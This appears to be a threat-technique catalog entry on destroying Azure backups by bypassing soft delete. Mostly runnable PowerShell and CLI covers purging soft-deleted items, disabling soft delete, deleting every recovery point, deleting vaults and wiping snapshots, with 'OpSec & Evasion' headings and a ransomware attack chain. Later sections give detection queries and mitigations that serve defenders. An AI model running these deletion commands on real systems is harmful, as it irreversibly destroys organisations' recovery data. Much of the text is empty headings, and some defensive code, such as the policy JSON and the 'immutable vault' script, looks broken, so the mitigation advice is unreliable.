| Attribute | Details |
|---|---|
| Technique ID | EVADE-DATA-001 |
| MITRE ATT&CK v18.1 | T1485 - Data Destruction (Lifecycle-Triggered Deletion) |
| Tactic | Impact / Defense Evasion |
| Platforms | Entra ID, Azure, Azure Backup |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure Storage (all versions); Azure Backup with soft delete enabled |
| Patched In | Partial - Mitigated with “Always-On Soft Delete” enforcement (2024 update) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Soft Delete is a cloud-native data recovery feature that moves deleted Azure Storage blobs, backup items, and vault resources to a “soft-deleted” state for 14-180 days before permanent deletion. An attacker with compromised Azure credentials (Storage Account Key, SAS token, or Entra ID application permissions) can bypass soft delete protections through multiple methods: (1) Directly deleting soft-deleted items before retention expiration, (2) Modifying or disabling soft delete policies themselves, (3) Deleting backup vaults entirely (forcing permanent purge), or (4) Destroying backing recovery services before soft delete retention can recover data. This results in permanent, unrecoverable data destruction targeting backup systems that organizations rely on for ransomware recovery.
Attack Surface: Azure Storage accounts, Azure Backup vaults, Recovery Services vaults, blob containers, virtual machine snapshots, backup items with active retention periods.
Business Impact: Permanent Data Loss & Ransomware Amplification. By destroying backups, attackers eliminate the organization’s ability to recover from ransomware, forcing payment of extortion demands. Regulatory violations (GDPR Art. 32, HIPAA, FINRA, SOX) due to destroyed audit trails and unrecoverable business-critical data. Ransomware gangs specifically target backups as a secondary extortion vector (documented in 60%+ of 2023-2024 attacks).
Technical Context: Soft delete bypass requires administrative credentials (Storage Account Owner role, Backup Operator role, or Entra ID application with relevant permissions). Once compromised, deletion operations complete in milliseconds. The attack leaves audit logs (AuditLogs table in Purview) but these are often not monitored in real-time, creating a detection window of hours to days.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 5.1.3 | Ensure Soft Delete is Enabled for Azure Blob Storage |
| CIS Benchmark | CIS Azure 6.2 | Ensure Immutable Backup Vault is Enabled |
| DISA STIG | CLOUD-1 | Data backup controls must be configured |
| CISA SCuBA | C.BC.01 | Backup and disaster recovery controls required |
| NIST 800-53 | CP-6 Alternate Processing Sites | Backup systems must be protected from compromise |
| NIST 800-53 | CP-9 Information System Backup | Backup integrity must be assured |
| GDPR | Art. 32 Security of Processing | Technical and organizational measures for data recovery |
| GDPR | Art. 34 Communication of Data Breach | Backup destruction complicates breach notifications |
| HIPAA | 45 CFR 164.308(a)(7) | Disaster recovery and backup procedures required |
| FINRA | Rule 4511(c) | Business continuity plans and backup procedures |
| SOX | Section 404 | Internal control over financial reporting, including backup integrity |
| NIS2 | Art. 21 | Cyber risk management measures for resilience |
| ISO 27001 | A.12.3.1 | Information backup procedures required |
| ISO 27005 | Risk Scenario: Loss of Critical Data | Unrecoverable data loss from backup destruction |
Required Privileges: One of:
Required Access: Network access to Azure management plane (HTTPS port 443 to management.azure.com or via Azure Portal), or Azure CLI/PowerShell from any network with internet access.
Supported Versions:
Tools:
Supported Versions: Azure Backup all versions
Objective: Locate backup recovery points in soft-deleted state before retention window expires.
Command (Azure PowerShell):
# Connect to Azure
Connect-AzAccount
# List soft-deleted backup items in Recovery Services vault
$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
Set-AzRecoveryServicesVaultContext -Vault $Vault
# Get soft-deleted items
Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM -ProtectionStatus SoftDeleted
# Expected output:
# ItemName BackupManagementType ProtectionStatus ContainerName
# -------- -------------------- --------------- --------
# VM-Important-Database AzureVM SoftDeleted MyResourceGroup
# VM-Finance-Server AzureVM SoftDeleted MyResourceGroup
Expected Output:
ItemName ProtectionStatus SoftDeletedCount RetentionDays
-------- ---------------- ---------------- ---------
VM-CriticalDatabase SoftDeleted 1 14
VM-FileServer SoftDeleted 2 14
VM-DomainController SoftDeleted 1 14
What This Means:
Objective: Force permanent deletion of soft-deleted items, bypassing the retention recovery window.
Command (Azure PowerShell):
# CRITICAL: This operation is IRREVERSIBLE
$ItemName = "VM-Important-Database"
$ContainerName = "MyResourceGroup"
# Get the backup item
$BackupItem = Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM `
-ProtectionStatus SoftDeleted `
-Name $ItemName `
-Container (Get-AzRecoveryServicesBackupContainer -ContainerType AzureVM -Status Deleted)
# Permanently delete (remove from soft-deleted state)
Remove-AzRecoveryServicesBackupItem -Item $BackupItem -Force
Write-Host "Backup item permanently deleted: $ItemName"
Command (Azure CLI Alternative):
# List soft-deleted backup items
az backup item list --resource-group MyResourceGroup \
--vault-name RecoveryServicesVault \
--backup-management-type AzureVM \
--query "[?softDeleteStatus=='true']"
# Permanently delete soft-deleted item
az backup item delete --resource-group MyResourceGroup \
--vault-name RecoveryServicesVault \
--container-name MyVM \
--item-name MyVM \
--delete-backup-data true \
--delete-soft-deleted true
Expected Output:
Backup item permanently deleted: VM-Important-Database
Data irreversibly destroyed. Recovery no longer possible.
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Azure Backup all versions (recoverable if “Always-On” not enforced)
Objective: Verify if soft delete is enabled and if you can disable it.
Command (Azure PowerShell):
$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
# Get soft delete policy settings
$VaultProperties = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
$VaultProperties | Select-Object -Property Name, SoftDeleteFeatureState
# Expected output:
# Name SoftDeleteFeatureState
# ---- ----------------------
# RecoveryServicesVault Enabled
What This Means:
Objective: Turn off soft delete protection to allow permanent deletion of all backup items.
Command (Azure PowerShell):
# CRITICAL: Disabling soft delete removes backup protection
Set-AzRecoveryServicesVaultProperty -Vault $Vault -SoftDeleteFeatureState Disable
Write-Host "Soft Delete DISABLED on vault. All deleted items now permanently deleted immediately."
# Verify the change
Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup |
Select-Object -Property Name, SoftDeleteFeatureState
Expected Output:
Name SoftDeleteFeatureState
---- ----------------------
RecoveryServicesVault Disabled
What This Means:
OpSec & Evasion:
Objective: Purge all backup recovery points immediately (no soft delete recovery period).
Command (Azure PowerShell):
# Get all backup items in vault
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
Set-AzRecoveryServicesVaultContext -Vault $Vault
# Get all protected items
$Items = Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM -ProtectionStatus Protected
# Delete each item (no soft delete recovery)
ForEach ($Item in $Items) {
Write-Host "Deleting: $($Item.Name)"
Disable-AzRecoveryServicesBackupProtection -Item $Item -RemoveRecoveryPoints -Force
}
Write-Host "All backup items deleted. Recovery IMPOSSIBLE."
Expected Output:
Deleting: VM-Important-Database
Deleting: VM-Finance-Server
Deleting: VM-DomainController
All backup items deleted. Recovery IMPOSSIBLE.
What This Means:
Supported Versions: Azure Backup all versions
Objective: Completely delete the Recovery Services vault itself, destroying all backup infrastructure and metadata.
Command (Azure PowerShell):
$VaultName = "RecoveryServicesVault"
$ResourceGroup = "MyResourceGroup"
# Step 1: Disable soft delete (if not Already-On)
$Vault = Get-AzRecoveryServicesVault -Name $VaultName -ResourceGroupName $ResourceGroup
Set-AzRecoveryServicesVaultProperty -Vault $Vault -SoftDeleteFeatureState Disable
# Step 2: Stop all backup protection
Set-AzRecoveryServicesVaultContext -Vault $Vault
Get-AzRecoveryServicesBackupItem -BackupManagementType AzureVM | ForEach-Object {
Disable-AzRecoveryServicesBackupProtection -Item $_ -RemoveRecoveryPoints -Force
}
# Step 3: Delete the vault itself
Remove-AzRecoveryServicesVault -Vault $Vault
Write-Host "Backup vault completely destroyed. ALL RECOVERY POINTS IRREVERSIBLY DELETED."
Expected Output:
Backup vault completely destroyed. ALL RECOVERY POINTS IRREVERSIBLY DELETED.
What This Means:
OpSec & Evasion:
Supported Versions: Azure Virtual Machines all versions (snapshots)
Objective: Delete VM snapshots and incremental snapshots before backups complete, preventing backup-based recovery entirely.
Command (Azure PowerShell):
# List all snapshots in resource group
Get-AzSnapshot -ResourceGroupName "MyResourceGroup"
# Expected output:
# Name ResourceGroupName Status
# ---- --------------- ------
# VM-CriticalDB-snapshot-2025 MyResourceGroup Success
# VM-FileServer-snapshot-2025 MyResourceGroup Success
# Delete all snapshots
Get-AzSnapshot -ResourceGroupName "MyResourceGroup" | ForEach-Object {
Write-Host "Deleting snapshot: $($_.Name)"
Remove-AzSnapshot -ResourceGroupName $_.ResourceGroupName -SnapshotName $_.Name -Force
}
Write-Host "All snapshots destroyed. VM recovery from snapshots IMPOSSIBLE."
Expected Output:
Deleting snapshot: VM-CriticalDB-snapshot-2025
Deleting snapshot: VM-FileServer-snapshot-2025
All snapshots destroyed. VM recovery from snapshots IMPOSSIBLE.
What This Means:
Azure Activity Log Events:
Azure Backup Events:
Storage Account Events:
Azure Activity Log (Recoverable for 90 days):
Azure Backup Vault Metadata (Destroyed):
Azure Billing Records:
Immediate Action (< 5 minutes):
# Revoke attacker's access immediately
$AttackerServicePrincipal = Get-AzADServicePrincipal -DisplayName "Attacker-App"
$Subscription = Get-AzSubscription
# Remove role assignments for attacker
Remove-AzRoleAssignment -ServicePrincipalName $AttackerServicePrincipal.ApplicationId -Scope "/subscriptions/$($Subscription.Id)"
# Revoke all access tokens for attacker user account
Revoke-AzUserAllRefreshToken -ResourceGroupName "*"
Write-Host "Attacker access revoked"
Manual (Azure Portal):
Command (Export Activity Logs):
# Export Azure Activity Log for forensics
$StartDate = (Get-Date).AddDays(-7)
$EndDate = Get-Date
$ActivityLogs = Get-AzLog -StartTime $StartDate -EndTime $EndDate `
-OperationName "DeleteBackupInstance", "UpdateBackupVaultPolicy", "DeleteRecoveryServicesVault"
$ActivityLogs | Export-Csv -Path "C:\Evidence\AzureActivityLogs.csv"
# Examine details of vault deletion
$ActivityLogs | Where-Object {$_.OperationName -match "DeleteRecoveryServicesVault"} | ForEach-Object {
Write-Host "Vault Deletion Details:"
Write-Host " Time: $($_.EventTimestamp)"
Write-Host " User: $($_.Caller)"
Write-Host " Details: $($_.Properties)"
}
Manual (Azure Portal):
Command (Restore from Offline Backups if Available):
# If offline backups exist (external storage, separate subscription)
# Restore from them
$OfflineBackupLocation = "\\backupserver\offline\vault-backup-2025-01-09"
Copy-Item -Path "$OfflineBackupLocation\*" -Destination "D:\RestoreData\" -Recurse
Write-Host "Data restored from offline backup. Verify integrity before production use."
Command (Enforce Always-On Soft Delete):
# Recreate vault with Always-On Soft Delete (cannot be disabled)
$NewVault = New-AzRecoveryServicesVault -Name "NewRecoveryServicesVault" `
-ResourceGroupName "MyResourceGroup" `
-Location "eastus"
# Enable Always-On Soft Delete (cannot be disabled even by attackers)
Set-AzRecoveryServicesVaultProperty -Vault $NewVault -SoftDeleteFeatureState AlwaysOn
Write-Host "New vault created with Always-On Soft Delete enforcement"
Action 1: Enable Always-On Soft Delete (Irreversible Configuration)
Applies To: All Recovery Services vaults, Backup vaults
Manual Steps (Azure PowerShell):
# FOR EACH VAULT: Enable Always-On Soft Delete
Get-AzRecoveryServicesVault | ForEach-Object {
Write-Host "Enabling Always-On Soft Delete for: $($_.Name)"
Set-AzRecoveryServicesVaultProperty -Vault $_ -SoftDeleteFeatureState AlwaysOn
# Verify
$VerifyVault = Get-AzRecoveryServicesVault -Name $_.Name -ResourceGroupName $_.ResourceGroupName
Write-Host " Status: $($VerifyVault.SoftDeleteFeatureState)"
}
Manual Steps (Azure Portal):
What This Does:
Action 2: Implement Immutable Backup Vaults
Manual Steps (Azure PowerShell - Create New Immutable Vault):
# Create NEW backup vault with immutability enforced
$BackupVault = New-AzDataProtectionBackupVault -ResourceGroupName "MyResourceGroup" `
-VaultName "ImmutableBackupVault" `
-Location "eastus"
# Set WORM (Write Once, Read Many) policy
# This prevents deletion or modification of backup items
# Immutable vaults automatically enforce:
# - Cannot disable soft delete
# - Cannot delete recovery points
# - Cannot delete vaults (stuck in soft-deleted state)
Write-Host "Immutable backup vault created. Protection against deletion enforced."
What This Does:
Action 3: Restrict Azure Role Assignments
Manual Steps (PowerShell - Remove Unnecessary Owner Roles):
# Audit who has Owner, Backup Operator, Storage Account Contributor roles
Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id" |
Where-Object {$_.RoleDefinitionName -match "Owner|Backup Operator|Storage Account Contributor"} |
Select-Object -Property DisplayName, RoleDefinitionName, Scope
# Remove unnecessary assignments
# Keep ONLY senior admins in Owner role
# Delegate Backup Operator to dedicated backup admins only
Manual Steps (Azure Portal - RBAC Configuration):
Action 1: Enable Azure Backup Center Alerts
Manual Steps (Azure Portal):
Action 2: Implement Azure Policy - Deny Soft Delete Disabling
Manual Steps (Azure Policy):
{
"if": {
"field": "type",
"equals": "Microsoft.RecoveryServices/vaults"
},
"then": {
"effect": "deny",
"details": {
"roleDefinitionIds": [
"/subscriptions/[subscription]/providers/Microsoft.Authorization/roleDefinitions/[Owner-Role-GUID]"
]
}
}
}
What This Does:
Action 1: Implement Azure Monitoring & Alerting
Manual Steps (Create Activity Log Alert):
Action 2: Enable Azure Defender for Critical Workloads
Manual Steps (Azure Portal):
PowerShell - Verify Mitigations:
# 1. Verify Always-On Soft Delete on all vaults
Write-Host "=== Soft Delete Configuration ==="
Get-AzRecoveryServicesVault | ForEach-Object {
$Status = $_.SoftDeleteFeatureState
If ($Status -eq "AlwaysOn") {
Write-Host "✓ $($_.Name): Always-On (PROTECTED)" -ForegroundColor Green
} Else {
Write-Host "✗ $($_.Name): $Status (VULNERABLE)" -ForegroundColor Red
}
}
# 2. Verify RBAC restrictions
Write-Host "`n=== Backup Operator Role Assignments ==="
$OwnerAssignments = Get-AzRoleAssignment -RoleDefinitionName "Backup Operator"
If ($OwnerAssignments.Count -le 3) {
Write-Host "✓ Backup Operator role limited to $($OwnerAssignments.Count) users" -ForegroundColor Green
} Else {
Write-Host "✗ Backup Operator role has $($OwnerAssignments.Count) members (should be ≤3)" -ForegroundColor Red
}
# 3. Verify Activity Log alerts enabled
Write-Host "`n=== Activity Log Alerts ==="
$Alerts = Get-AzActivityLogAlert
If ($Alerts | Where-Object {$_.Name -match "BackupDeletion|VaultDeletion"}) {
Write-Host "✓ Activity log alerts configured for backup deletion events" -ForegroundColor Green
} Else {
Write-Host "✗ No activity log alerts for backup deletion events" -ForegroundColor Red
}
Expected Output (If Secure):
=== Soft Delete Configuration ===
✓ RecoveryServicesVault: Always-On (PROTECTED)
✓ BackupVault: Always-On (PROTECTED)
=== Backup Operator Role Assignments ===
✓ Backup Operator role limited to 2 users
=== Activity Log Alerts ===
✓ Activity log alerts configured for backup deletion events
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker exploits vulnerable web app to gain foothold |
| 2 | Credential Access | [CA-TOKEN-003] Azure Function Key Extraction | Attacker steals Azure Function access keys from environment |
| 3 | Privilege Escalation | [PE-VALID-011] Managed Identity MSI Escalation | Attacker escalates via managed identity to subscription owner |
| 4 | Defense Evasion | [EVADE-DATA-001] | Attacker destroys backups via soft delete bypass to prevent recovery from ransomware |
| 5 | Impact | [IMPACT-DATA-001] Mass Data Encryption (Ransomware) | Attacker deploys ransomware knowing backups destroyed, demands extortion payment |
| 6 | Exfiltration | [EXFIL-DATA-001] Azure Storage Mass Download | Attacker exfiltrates sensitive data to attacker-controlled storage account |
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Update Backup Vault Policy"
| where ActivityStatus == "Success"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| extend TargetResource = TargetResources[0].displayName
| extend PolicyChange = tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue)
| where PolicyChange contains "SoftDelete" and PolicyChange contains "Disabled"
| summarize count() by InitiatedByUser, TargetResource, TimeGenerated
What This Detects:
KQL Query:
AuditLogs
| where OperationName == "DeleteBackupInstance"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| summarize DeletionCount = count(), DeletedItems = make_list(TargetResources[0].displayName) by InitiatedByUser, TimeGenerated
| where DeletionCount >= 5 // Alert if 5+ backups deleted in single operation
What This Detects:
KQL Query:
AuditLogs
| where OperationName == "DeleteRecoveryServicesVault"
| extend InitiatedByUser = InitiatedBy[0].userPrincipalName
| extend VaultName = TargetResources[0].displayName
| summarize count() by InitiatedByUser, VaultName, TimeGenerated
What This Detects: